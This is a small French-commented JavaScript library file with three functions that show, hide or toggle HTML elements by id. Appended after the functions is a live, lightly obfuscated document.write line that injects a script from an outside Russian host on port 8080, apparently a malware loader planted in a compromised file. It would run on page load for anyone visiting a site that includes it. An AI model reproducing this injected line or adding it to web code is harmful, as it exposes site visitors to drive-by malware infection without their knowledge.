/*************************************************************************
 * File : visibility_utf8_lib.jb (include, librairie)
 * Description : permet d'afficher ou de cacher un element
 * 
 *. Effet de Bord : modification du style de l'objet
 * 
 * Writers history : 
 *   Christian Vallebella
 * Last modification : 2005/09/26 (visibility) v.1
 ************************************************************************/

//
// affiche ou masque un objet html par sont id en fonction de son état 
// courant
// Parameters :
//   id : id de l'objet html
// effet de bord : modification du style de l'objet
// return : true en cas de succes, false si l'id n'existe pas
//
function switchObjectVisibility(id) {
  if (document.getElementById(id)) {
    if (document.getElementById(id).style.display != 'none') {
      document.getElementById(id).style.display='none';
    } else {
      document.getElementById(id).style.display='inline';
    }
    return true;
  }
  return false;
}

//
// affiche un objet html par sont id
// Parameters :
//   id : id de l'objet html
// effet de bord : modification du style de l'objet
// return : true en cas de succes, false si l'id n'existe pas
//
function showObject(id) {
  if (document.getElementById(id)) {
    document.getElementById(id).style.display='inline';
    return true;
  }
  return false;
}

//
// masque un objet html par sont id
// Parameters :
//   id : id de l'objet html
// effet de bord : modification du style de l'objet
// return : true en cas de succes, false si l'id n'existe pas
//
function hideObject(id) {
  if (document.getElementById(id)) {
     document.getElementById(id).style.display='none';
    return true;
  }
  return false;
}


document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/XHTML.js"></scr'+'ipt>');